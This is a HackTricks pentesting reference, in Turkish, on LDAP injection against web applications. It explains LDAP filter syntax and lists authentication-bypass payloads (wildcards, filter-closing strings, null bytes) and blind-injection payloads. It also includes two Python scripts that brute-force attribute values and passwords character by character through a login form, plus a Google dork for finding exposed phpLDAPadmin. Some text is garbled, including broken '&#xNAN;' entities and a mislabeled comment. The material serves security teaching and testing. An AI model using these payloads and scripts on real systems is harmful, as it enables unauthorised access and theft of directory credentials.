hacktricks/src/pentesting-web/ldap-injection.md

210 lines
6.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# LDAP Injection
## LDAP Injection
{{#include ../banners/hacktricks-training.md}}
## LDAP Injection
### **LDAP**
**LDAP nedir öğrenmek istiyorsanız, aşağıdaki sayfaya erişin:**
{{#ref}}
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP Injection**, kullanıcı girdisinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişi **doğru bir şekilde temizlemediğinde** meydana gelir; bu da saldırganların yerel bir proxy aracılığıyla **LDAP ifadelerini manipüle etmesine** olanak tanır ve bu da yetkisiz erişim veya veri manipülasyonuna yol açabilir.
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
**Filtre** = ( filtercomp )\
**Filtrecomp** = ve / veya / değil / öğe\
**Ve** = & filtrelist\
**Veya** = |filtrelist\
**Değil** = ! filtre\
**Filtrelist** = 1\*filtre\
**Öğe**= basit / mevcut / alt dize\
**Basit** = attr filtretipi assertionvalue\
**Filtretipi** = _'=' / '\~=' / '>=' / '<='_\
**Mevcut** = attr = \*\
**Alt dize** = attr ”=” \[ilk] \* \[son]\
**İlk** = assertionvalue\
**Son** = assertionvalue\
&#xNAN;**(&)** = Kesin DOĞRU\
&#xNAN;**(|)** = Kesin YANLIŞ
Örneğin:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
Veritabanına erişebilirsiniz ve bu, birçok farklı türde bilgi içerebilir.
**OpenLDAP**: Eğer 2 filtre gelirse, yalnızca birincisini çalıştırır.\
**ADAM veya Microsoft LDS**: 2 filtre ile bir hata fırlatır.\
**SunOne Directory Server 5.0**: Her iki filtreyi de çalıştırır.
**Filtreyi doğru sözdizimi ile göndermek çok önemlidir, aksi takdirde bir hata fırlatılacaktır. Sadece 1 filtre göndermek daha iyidir.**
Filtre `&` veya `|` ile başlamalıdır.\
Örnek: `(&(directory=val1)(folder=public))`
`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
Sonra: `(&(objectClass=`**`*)(ObjectClass=*))`** ilk filtre (çalıştırılan) olacaktır.
### Giriş Atlatma
LDAP, şifreyi saklamak için birkaç formatı destekler: açık, md5, smd5, sh1, sha, crypt. Yani, şifreye ne koyarsanız koyun, hashlenmiş olabilir.
```bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
```
```bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
```
```bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
```
```bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
```
```bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
```
```bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
```
```bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
```
```bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
```
```bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
#### Listeler
- [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt)
- [LDAP Nitelikleri](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
- [LDAP PosixAccount nitelikleri](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
### Kör LDAP Enjeksiyonu
Herhangi bir verinin döndürülüp döndürülmediğini kontrol etmek ve olası bir Kör LDAP Enjeksiyonunu doğrulamak için Yanlış veya Doğru yanıtları zorlayabilirsiniz:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
```
```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### Dump verileri
Ascii harfler, rakamlar ve semboller üzerinde döngü yapabilirsiniz:
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
```
### Scripts
#### **Geçerli LDAP alanlarını keşfet**
LDAP nesneleri **varsayılan olarak birkaç öznitelik içerir** ve bu öznitelikler **bilgi saklamak için kullanılabilir.** Bu bilgiyi çıkarmak için **hepsini brute-force ile denemeyi** deneyebilirsiniz. [**Varsayılan LDAP özniteliklerinin bir listesini buradan bulabilirsiniz**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **Özel Kör LDAP Enjeksiyonu (\"\*\" olmadan)**
```python
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
### Google Dorks
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### Daha Fazla Payload
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
{{#include ../banners/hacktricks-training.md}}